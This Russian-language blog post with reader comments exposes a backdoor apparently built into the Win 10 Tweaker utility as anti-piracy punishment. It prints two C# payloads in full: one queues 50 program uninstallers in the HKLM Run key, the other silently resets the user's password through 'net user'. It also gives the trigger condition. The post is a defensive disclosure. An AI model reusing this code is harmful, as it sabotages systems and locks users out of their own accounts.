Для неподготовленных юзеров, которые сталкиваются с Windows, настройки ОС иногда становятся настоящим темным лесом. Эту достаточно узкую нишу охватывают разработчики всевозможных твикеров, один из которых в своих подходах к защите своей программы пошел самым радикальным способом. Сегодня мы немножко препарируем один самых известных таких продуктов — Win 10 Tweaker и посмотрим, какой "сюрприз" спрятал внутри его создатель.
Решил оформить небольшой материал с доказательствами того, как с недавних пор (примерно с осени 2020 года) в Win 10 Tweaker в целях борьбы со взломом программы был интегрирован самый обычный бэкдор, в особых обстоятельствах получающий зловредный код с ресурса https://win10tweaker.com/PrivilegeUser.php?key=Universal.
Не будем обсуждать личность автора и его отношение к пользователям, а также то, что он творит на своем форуме, а поговорим о том, что нам поведал сниффер трафика Win 10 Tweaker, у которого на момент написания статьи, судя по счётчику на сайте, больше 1 400 000 скачиваний.
Скачиваем с сайта последнюю версию программы. Сейчас скачивается версия 17.2, SHA-256: 06DB5801D37895C75B7D60FA5971827DA80CC275D9E78E5986A120C003021A0D;
Выяснилось, что, чтобы вызвать скачивание удаленного кода, надо просто создать в %LOCALAPPDATA% папку Turbo.net, а внутри — просто пустой файл System.Deps.dll;
Запускаем Win 10 Tweaker и принимаем правой кнопкой соглашение;
Хватит лишь открытия раздела "Системная информация", где можно получить сведения о характеристиках ПК;
Сразу с ресурса, указанного выше, через бэкдор в открытом виде скачивается и исполняется код, написанный на C#, который прописывает в реестре в раздел автозагрузки для всех пользователей ключи на удаление первых 50 установленных программ. При первом выходе/входе из учетной записи или перезагрузке эти программы запустят свои деинсталляторы.
using System;
using System.Collections.Generic;
using Microsoft.Win32;
using System.IO;
namespace N {
class C {
public void M() {
string path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\AppData\\Local\\Turbo.net";
if (Directory.Exists(path)) {
string[] files = Directory.GetFiles(path, "*.*", SearchOption.AllDirectories);
foreach(string file in files) {
if (file.Contains("System.Deps.dll")) {
List list = new List();
using(RegistryKey key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall")) {
foreach(string k in key.GetSubKeyNames()) {
if (key.OpenSubKey(k).GetValue("UninstallString") != null) {
list.Add(key.OpenSubKey(k).GetValue("UninstallString").ToString());
}
}
}
for (int i = 0; i < 50; i++) {
RegistryKey key = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
key.SetValue(i.ToString(), list[i]);
}
}
}
}
}
}
}
Разберем по-быстрому код.
Берется путь профиля и присобачивается к нему "\\AppData\\Local\\Turbo.net";
Если имеется папка Turbo.net, то по маске *.* рекурсивно ищется файл System.Deps.dll;
Если такой на вашу беду находится, то получаем значения ключей UninstallString в разделе HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall. В этом параметре хранится команда для деинсталляции программ. Собственно, именно эта команда запускается, когда вы удаляете в Windows любую программу, если ее деинсталлятор прописывается в системе.
Сохраняем полученные строки и записываем первые 50 команд на удаление в автозагрузку для всех пользователей. Отныне при первой перезагрузке запустят свои деинсталляторы те программы, у которых есть свойство UninstallString.
Сохраненная ссылка на Wayback Machine, если "чудотворным" образом ресурс будет недоступен. Кстати, тот же зловредный код расположен и на домене https://win10tweaker.ru/PrivilegeUser.php?key=Universal.
Скажите спасибо, что не в тихом режиме все удаляется, и окошки с уведомлением об удалении будут видны в любом случае.
Осенью же на этом ресурсе располагался другой код, устанавливающий пароль на учетную запись. Пароль, как нетрудно догадаться, глядя на код, был Rock5taR. То есть ресурс один, а зловредный код иногда да и меняется.
using System;
using System.Diagnostics;
using System.IO;
namespace N
{
class C
{
public void M()
{
string path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\AppData\\Local\\Turbo.net";
if (Directory.Exists(path))
{
string[] files = Directory.GetFiles(path, "*.*", SearchOption.AllDirectories);
foreach (string file in files)
{
if (file.Contains("System.Deps.dll"))
{
Process.Start(new ProcessStartInfo
{
FileName = "cmd",
Arguments = "/c net user " + "\"" + Environment.UserName + "\"" + " Rock5taR",
WindowStyle = ProcessWindowStyle.Hidden
});
}
}
}
}
}
}
Также автор заявляет о портативности программы, что на самом деле не так: чего только стоит создание неудаляемого ключа в реестре по пути HKCU\Software\Win 10 Tweaker, так как программа меняет права доступа на этот раздел.
Видео с одним из вариантов, как удалить ключ.
Остается тайной, зачем автор в борьбе с пиратами, беря за программу в том числе и плату, интегрировал туда самый обычный бэкдор. И кто знает, что еще она в себе таит… Выводы, как всегда, делать только вам.
upd1: все ресурсы заблокировал хостер.
upd1: реакция автора трояна.
upd3: реакция автора трояна в виде аудио-послания: https://t.me/win10tweaker/48
Спойлер: он считает, что все сделал правильно, мы все убоги и, оказывается, завидуем его успеху, а этот "инцидент" — жирный намек.
upd4: после связи с модератором rutracker.org все темы с Win 10 Tweaker были удалены (кроме совсем старых). Модератор в теме на NNM продолжает банить пользователей и удалять их сообщения при упоминании трояна и этой статьи. Все как всегда.
eimrine
Как обойти такую защиту? Просто удалить бяку из автозагрузки будет достаточно, или для верности надо прописать в системе 50 установленных программ под названиями aaa1, aaa2,… aaa50 с деинсталляторами у каждой из них? Может быть, есть способ запретить запуск деинсталляторов без ввода пароля администратора?
Akuma
Я бы сказал — платить за софт. Но этому я бы платить не стал
Biorobodd
Ну я оплатил. Причём с реального мыла палки которое использовалось для 3 (!!!) сервисов. Как результат спас по 50-70 писем в спаме каждый день. Т.е. мыла либо он слил, либо у него украли. В любом случае на руборде задолго до этой темы обсуждали вредоносность его по. На его форуме один пользователь удивился зачем отключать антивирус. Его послали этого пользователя автор программы сами знаете куда. Тупо прямо. Сами можете погуглить. В любом случае очень рад, что хоть кто-то подкованный наконец-то для глупых масс осветил проблему. Спасибо
Sanctuary_s Автор
Запуская программу от имени администратора вы даете ему карт-бланш. Это не значит, что нельзя никому верить, просто в данном случае у автора программы ЧСВ насчет своего величия возросло настолько, что вкупе с тем, что он не считает своих пользователей за людей (угрожая в аудио-сообщениях, что взломает всех и вся), что попутал окончательно все берега.
Хватит лишь поднять уровень реагирования в настройках UAC.
SandroSmith
zanuda mode
Это что-то из разряда такова се ля ви и ATM Machine